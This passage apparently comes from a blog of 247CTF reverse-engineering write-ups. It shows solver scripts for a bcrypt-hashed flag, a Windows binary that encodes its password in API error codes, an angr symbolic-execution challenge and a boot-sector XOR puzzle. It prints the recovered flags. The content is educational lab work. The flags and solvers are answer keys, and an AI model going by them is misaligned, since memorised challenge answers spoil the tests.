b"$2b$12$xVrrb1qPs3mHX2kp6vo10e8zsUqDxXxlmptJnFBT/5YVDeSGAJsty",
b"$2b$12$BA5vnPd.oxWN4BEn6PybEeXgWYrX02k9rHXLnDAiDedUilCuiv2jy",
b"$2b$12$7p6s4NoKXsjqD/0wnuO2b.2ux70dPNcN5wBYccuzz8vm1ZZ9iPPLu",
b"$2b$12$oXuFS3O5Td3knq2gRyf5XOhwj1.IYOWQ9fSvGY05YU0MwizIm18Ru",
b"$2b$12$l3wvb/fiYbkzoqWv1.ulMuQPTn6xP67D0/YkjNzwJi1bK30qJAZWu",
b"$2b$12$3eFpVZJh6TfrnbE.hdfitu8UiqLei7u2vEjFPecu6O5FqNqyOYOs.",
b"$2b$12$XtrkQGAyvRcIdCtW4AK9/.9oSlP2rAwE.KNk5f2sKuyhhDNzIAvzC",
b"$2b$12$zrsIpC4WnPVjcCRODlRXT.IDPIZwBEP2VwTv.q5/DIfCpdD44zoam",
b"$2b$12$Lr3UiwLPab6yEw.TERhNAu1/qlQelYuqmF/Wcg3UtrzslAzrf3/di",
b"$2b$12$RtpdIcXU8hH8pnDGQHCupu5l2mw872X6SFamb20w9A.sieVEk7Xba",
]

charset = string.printable.strip()
flag = ""

for i, h in enumerate(hashes):
print(f"[*] Cracking index {i:2d}... ", end="", flush=True)
for c in charset:
if bcrypt.checkpw((flag + c).encode(), h):
flag += c
print(f"Found: {c} | Current: {flag}")
break
else:
print("Failed to crack.")
break

print(f"\n[+] Flag: {flag}")

Result

1
2
# ...
[+] 247CTF{********************************}
247CTF{167d16d4a0d05da530c941dd23ff0238}

We stored the flag within this binary, but made a few errors when trying to print it. Can you make use of these errors to recover the flag?

Overview

1
2
❯ file flag_errata.exe
flag_errata.exe: PE32+ executable for MS Windows 5.02 (console), x86-64 (stripped to external PDB), 9 sections

A PE64 binary (GCC 7.3 / MinGW-w64) with a monstrous 53KB main function. It prompts for a 40-character password, validates each character through error-code accumulation, then returns -247 on any mismatch.

The core pattern repeats 40 times:

1
2
3
4
5
6
7
8
9
sub_401560();                    // intentionally failing WinAPI call
LastError = GetLastError(); // harvest the error code
sub_40159B();
v5 = GetLastError() + LastError; // accumulate
sub_4015D6();
v6 = GetLastError() + v5;
// ... N calls total ...
if ( Buffer[i] != (int)(accumulated) % 126 )
return -247; // failure — 247CTF signature

The password is never stored anywhere. It’s implicitly encoded by the count and sequence of WinAPI calls whose error codes reconstruct each character.

The Error Code Cycle

13 functions form a fixed cycle, each designed to fail deterministically:

# Function Address API Call Expected Error Code
0 errgen_open_247ctf_dll_system32 0x401560 CreateFileA("C:\Windows\System32\247CTF.dll", ...) ERROR_FILE_NOT_FOUND 2
1 errgen_open_247ctf_dll_nested 0x40159B CreateFileA("C:\247CTF\247CTF\247CTF.dll", ...) ERROR_PATH_NOT_FOUND 3
2 errgen_open_user32_dll_readwrite 0x4015D6 CreateFileA("user32.dll", GENERIC_RW, exclusive) ERROR_SHARING_VIOLATION 32
3 errgen_getthreadtimes_null 0x401611 GetThreadTimes(0, 0, 0, 0, 0) ERROR_INVALID_HANDLE 6
4 errgen_findfiles_exhaust 0x401634 FindFirstFile("C:\*") + loop FindNextFile ERROR_NO_MORE_FILES 18
5 errgen_virtualqueryex_null 0x401674 VirtualQueryEx(proc, NULL, NULL, 8) ERROR_BAD_LENGTH 24
6 errgen_open_cmdexe_twice 0x401697 CreateFileA("cmd.exe") x2 (exclusive) ERROR_SHARING_VIOLATION 32
7 errgen_open_user32_invalid_create 0x401704 CreateFileA("user32.dll", ..., dwCreation=0) ERROR_INVALID_PARAMETER 87
8 errgen_setconsoledisplaymode 0x40173F SetConsoleDisplayMode(FULLSCREEN) Varies by OS ~87
9 errgen_open_247ctf_colon 0x401764 CreateFileA("247CTF:", ...) ERROR_INVALID_NAME 123
10 errgen_loadlibrary_fake_dll 0x4017A2 LoadLibraryA("C:\247CTF.DLL") ERROR_MOD_NOT_FOUND 126
11 errgen_createmutex_twice 0x4017B0 CreateMutexA("247CTF") x2 ERROR_ALREADY_EXISTS 183
12 errgen_createprocess_user32 0x4017DF CreateProcessA("user32.dll" as exe) ERROR_BAD_EXE_FORMAT 193

Each character block calls N consecutive functions from this cycle, accumulates the error codes, then checks sum % 126 against the input.

Algebraic Solution

The key insight: since the error codes cycle deterministically, we can bypass the Windows environment entirely and solve this as pure modular arithmetic.

I use Arch BTW.

Let:

  • $S = \sum_{k=0}^{12} e_k$, the sum of one full cycle (all 13 error codes)
  • $P(r) = \sum_{k=0}^{r-1} e_k$, the partial sum of the first r codes

For character i with ni total API calls:

$$q_i = \left\lfloor \frac{n_i}{13} \right\rfloor, \qquad r_i = n_i \bmod 13$$

password[i] ≡ qi ⋅ S + P(ri) (mod  126)

The flag format 247CTF{...} gives us 8 known characters for free. Three of them — blocks 2, 3, 6 — share the same remainder r = 9: same position in the error-code cycle, different lap counts. Shared P(9) cancels on subtraction.

Blocks 2, 3, 6 correspond to 7 (ASCII 55, q = 16), C (67, q = 10), { (123, q = 24):

$$\begin{aligned} 16S + P(9) &\equiv 55 \pmod{126} && \quad (1) \\ 10S + P(9) &\equiv 67 \pmod{126} && \quad (2) \\ 24S + P(9) &\equiv 123 \pmod{126} && \quad (3) \end{aligned}$$

Subtracting (2) from (1) eliminates P(9):

$$\begin{aligned} (16 - 10)\,S &\equiv 55 - 67 \pmod{126} \\ 6S &\equiv -12 \equiv 114 \pmod{126} \end{aligned}$$

Since gcd (6, 126) = 6 divides 114, we may divide the entire congruence by 6 (reducing the modulus to 126/6 = 21):

S ≡ 19 (mod  21)   ⇒   S ∈ {19, 40, 61, 82, 103, 124}

Similarly, (3) − (1) yields a second constraint:

$$\begin{aligned} 8S &\equiv 68 \pmod{126} \\ 4S &\equiv 34 \pmod{63} && \quad (\text{dividing by } \gcd(2, 126) = 2) \end{aligned}$$

To isolate S, multiply both sides by the modular inverse 4−1 ≡ 16 (mod  63), since 4 × 16 = 64 ≡ 1:

S ≡ 16 × 34 = 544 ≡ 40 (mod  63)

Intersecting via CRT: 40 mod  21 = 19 ✓, so both congruences agree.

$$\boxed{\,S = 40\,}$$

Back-substituting into (1):

$$\begin{aligned} 16 \times 40 + P(9) &\equiv 55 \pmod{126} \\ 640 + P(9) &\equiv 55 \pmod{126} \\ 10 + P(9) &= 55 && \quad (640 \bmod 126 = 10) \\ P(9) &= 45 \end{aligned}$$

Same process with the remaining known characters fills all partial sums:

P(r) Value Source
P(3) 10 '2' (ASCII 50)
P(4) 16 e3 = 6
P(5) 34 e4 = 18
P(6) 58 '4' (ASCII 52)
P(7) 90 'T' (ASCII 84)
P(9) 45 '7' (ASCII 55)
P(10) 42 'F' (ASCII 70)
P(12) 99 e10, e11

With S and all P(r) determined, every character computes directly:

Block Calls q r Calculation Char
0 16 1 3 (40 + 10) mod  126 2
7 191 14 9 (560 + 45) mod  126 e
9 109 8 5 (320 + 34) mod  126 f
15 285 21 12 (840 + 99) mod  126 9
20 298 22 12 (880 + 99) mod  126 a
39 35 2 9 (80 + 45) mod  126 }

All 40 characters land in the valid charset — 247CTF{ prefix, [0-9a-f] hex body, } suffix — confirming the solution without ever running the binary.

Character-by-Character Breakdown

Block Calls q r Formula Char
0 16 1 3 (1*40+10)%126=50 2
1 45 3 6 (3*40+58)%126=52 4
2 217 16 9 (16*40+45)%126=55 7
3 139 10 9 (10*40+45)%126=67 C
4 46 3 7 (3*40+90)%126=84 T
5 101 7 10 (7*40+42)%126=70 F
6 321 24 9 (24*40+45)%126=123 {
7 191 14 9 (14*40+45)%126=101 e
8 280 21 7 (21*40+90)%126=48 0
9 109 8 5 (8*40+34)%126=102 f
10 19 1 6 (1*40+58)%126=98 b
11 256 19 9 (19*40+45)%126=49 1
12 109 8 5 (8*40+34)%126=102 f
13 241 18 7 (18*40+90)%126=54 6
14 215 16 7 (16*40+90)%126=100 d
15 285 21 12 (21*40+99)%126=57 9
16 17 1 4 (1*40+16)%126=56 8
17 215 16 7 (16*40+90)%126=100 d
18 217 16 9 (16*40+45)%126=55 7
19 215 16 7 (16*40+90)%126=100 d
20 298 22 12 (22*40+99)%126=97 a
21 285 21 12 (21*40+99)%126=57 9
22 280 21 7 (21*40+90)%126=48 0
23 215 16 7 (16*40+90)%126=100 d
24 217 16 9 (16*40+45)%126=55 7
25 12 0 12 (0*40+99)%126=99 c
26 38 2 12 (2*40+99)%126=53 5
27 12 0 12 (0*40+99)%126=99 c
28 191 14 9 (14*40+45)%126=101 e
29 109 8 5 (8*40+34)%126=102 f
30 16 1 3 (1*40+10)%126=50 2
31 217 16 9 (16*40+45)%126=55 7
32 12 0 12 (0*40+99)%126=99 c
33 16 1 3 (1*40+10)%126=50 2
34 109 8 5 (8*40+34)%126=102 f
35 45 3 6 (3*40+58)%126=52 4
36 217 16 9 (16*40+45)%126=55 7
37 285 21 12 (21*40+99)%126=57 9
38 17 1 4 (1*40+16)%126=56 8
39 35 2 9 (2*40+45)%126=125 }

Anti-Analysis

  • TLS Callbacks: Two callbacks (0x401C50, 0x401C20) execute before main — a common anti-debug vector.
  • 53KB of bloat: Up to 321 API calls per character, making manual static analysis impractical without scripting.
  • Environment sensitivity: Functions like CreateProcessA and SetConsoleDisplayMode return different error codes under a debugger, making dynamic analysis a trap. The algebraic approach sidesteps this entirely by reasoning at the mathematical level, independent of the Windows runtime.
247CTF{e0fb1f6d98d7da90d7c5cef27c2f4798}

Why waste time creating multiple functions, when you can just use one? Can you find the path to the flag in this angr-y binary?

Challenge Overview

The challenge provides a 32-bit ELF executable. The goal is to find the correct input that leads to the flag.

1
2
❯ file angr-y_binary
angr-y_binary: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=611e939f262f927b8515162283d36476df2d3244, not stripped

Analysis

Using radare2 to inspect the disassembly, we identify three key functions: print_flag, no_flag, and maybe_flag.

Disassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
     ;-- print_flag:
0x08048596 55 push ebp
0x08048597 89e5 mov ebp, esp
...
0x080485db e830feffff call sym.imp.fgets ;[3]
0x080485e0 83c410 add esp, 0x10
0x080485e3 83ec0c sub esp, 0xc
0x080485e6 8d45b4 lea eax, [ebp - 0x4c]
0x080485e9 50 push eax
0x080485ea e841feffff call sym.imp.puts ;[4]
...

;-- no_flag:
0x08048609 55 push ebp
0x0804860a 89e5 mov ebp, esp
0x0804860c e8d0005e00 call sym.__x86.get_pc_thunk.ax ;[6]
0x08048611 05ef195e00 add eax, 0x5e19ef
0x08048616 c780300000.. mov dword [eax + 0x30], 0
0x08048620 90 nop
0x08048621 5d pop ebp
0x08048622 c3 ret

;-- maybe_flag:
0x08048623 55 push ebp
0x08048624 89e5 mov ebp, esp
0x08048626 53 push ebx
0x08048627 83ec04 sub esp, 4
0x0804862a e8b2005e00 call sym.__x86.get_pc_thunk.ax ;[6]
0x0804862f 05d1195e00 add eax, 0x5e19d1
0x08048634 8b9030000000 mov edx, dword [eax + 0x30]
0x0804863a 85d2 test edx, edx
┌─< 0x0804863c 7407 je 0x8048645
│ 0x0804863e e853ffffff call sym.print_flag ;[7]
┌──< 0x08048643 eb14 jmp 0x8048659
│└─> 0x08048645 83ec0c sub esp, 0xc
...

The logic suggests we need to reach print_flag while avoiding the paths that lead to no_flag.

Solution

Since the binary’s path to the flag is complex, we use angr to perform symbolic execution and find the correct input.

Solver Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import angr
import sys

def solve(bin_path):
project = angr.Project(bin_path)

# Initialize the state at entry
initial_state = project.factory.entry_state(
add_options = {
angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS
}
)

simulation = project.factory.simgr(initial_state)

# Explore searching for the print_flag function and avoiding no_flag
# print_flag: 0x08048596
# no_flag: 0x8048609
simulation.explore(find=0x08048596, avoid=0x8048609)

if simulation.found:
solution_state = simulation.found[0]
print(f"Found solution: {solution_state.posix.dumps(sys.stdin.fileno()).decode()}")
else:
raise Exception('Could not find the solution')

if __name__ == "__main__":
solve('./angr-y_binary')

Execution

Running the script gives us the password:

1
2
❯ python solve.py
wgIdWOS6Df9sCzAfiK

Connecting to the server with the found password:

1
2
3
❯ nc 0c4c28058a1f7a2f.247ctf.com 50230
Enter a valid password:
wgIdWOS6Df9sCzAfiK
247CTF{a3bbb9d2e648841d99e1cf4535a92945}

References

  • angr_ctf learn - jakespringer

Can you unlock the secret boot sequence hidden within our flag bootloader to recover the flag?

Analysis

1
2
❯ file flag.com
flag.com: DOS/MBR boot sector

This is a 512-byte boot sector image. Using xxd to view the hex data:

1
2
3
4
00000000: eb21 b800 10cd 16c3 60b4 0e8a 043c 0074  .!......`....<.t
00000010: 0eb7 00b3 07cd 1080 fe24 7403 46eb ec61 .........$t.F..a
...
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U.

The 55 aa signature at the end confirms it is a standard boot sector.

Boot Sector Fundamentals

When a computer powers on and completes the Power-On Self-Test (POST), the BIOS reads the first sector (512 bytes) of the disk into physical memory between 0x7C00 and 0x7DFF. It then sets the CPU’s Instruction Pointer (IP) to 0x7C00 to begin execution.

Therefore, the base address of this program in memory is 0x7C00. When performing static analysis or debugging, any hardcoded physical addresses must have 0x7C00 subtracted to find their corresponding file offset.

Static Analysis and Memory Mapping

Analyzing the assembly code reveals two critical memory locations:

1. Flag Ciphertext Area (0x7DAA)

Calculate the file offset: 0x7DAA − 0x7C00 = 0x01AA Looking at the hex dump at 0x01AA:

1
000001a0: 6420 636f 6465 210a 0d00 3234 3743 5446  d code!...247CTF
The ciphertext indeed begins here, with the first 7 bytes representing the 247CTF{ prefix.

2. Input Buffer (0x7DEC)

Calculate the file offset: 0x7DEC − 0x7C00 = 0x01EC The region of null bytes before the 55 aa signature is used directly as a buffer for keyboard input.

Core Logic Deconstruction

Focusing on sub_1016A in IDA (the primary decryption logic):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
seg000:016B  mov  bx, 7DECh      ; BX points to the input buffer
seg000:016E mov si, 7DAAh ; SI points to the start of the ciphertext
seg000:0171 add si, 7 ; Skip "247CTF{"

; Validate the first input character and decrypt
seg000:0174 mov al, 4Bh ; 'K'
seg000:0176 xor al, 0Ch ; AL = 0x4B ^ 0x0C = 0x47 ('G')
seg000:0178 cmp [bx], al ; Check if input[0] == 'G'
seg000:017A jnz loc_1027C ; Jump to failure if not equal

; Decrypt ciphertext using the validated char in AL
seg000:017E xor [si], al ; XOR decryption
seg000:0180 inc si
seg000:0181 xor [si], al ; Each input char decrypts TWO bytes
seg000:0183 inc bx
seg000:0184 inc si

Logic Summary: 1. The program requires a 16-character unlock code. 2. Each character is validated via arithmetic/logical operations (XOR, ADD, SUB). 3. Validated characters serve as XOR keys to decrypt the subsequent ciphertext region. 4. Each key character decrypts 2 bytes of ciphertext.

Solution Script

We can simulate the assembly operations to recover the unlock code and then use it to XOR the ciphertext bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3

def solve():
# 1. Recover the 16-character unlock code
unlock_chars = [
0x4B ^ 0x0C, 0x53 ^ 0x06, 0x58 - 0x01, 0x62 - 0x29,
0x68 ^ 0x23, 0x4B ^ 0x00, 0x62 - 0x1E, 0x4D - 0x0B,
0x45 ^ 0x0D, 0x10 ^ 0x28, 0x58 ^ 0x1D, 0x7A ^ 0x28,
0x65 - 0x13, 0x33 ^ 0x07, 0x25 ^ 0x15, 0x4C + 0x0C
]

unlock_code = "".join(chr(c) for c in unlock_chars)
print(f"[*] Unlock Code: {unlock_code}")

# 2. Extract encrypted payload (32 bytes from offset 0x1B1)
# This corresponds to memory 0x7DB1 (0x7DAA + 7)
payload_hex = "77 21 67 30 60 35 0c 0c 78 79 2e 2e 20 72 70 75 29 2b 00 5c 21 70 62 63 65 60 07 0d 06 02 3b 3b"
encrypted_bytes = bytes.fromhex(payload_hex)

# 3. Perform XOR decryption
decrypted_chars = []
for i, byte in enumerate(encrypted_bytes):
key = unlock_chars[i // 2]
decrypted_chars.append(chr(byte ^ key))

print(f"[+] Flag: 247CTF{{{ ''.join(decrypted_chars) }}}")

if __name__ == "__main__":
solve()
247CTF{0f2e7b5532eed627ac8dd501723962cc}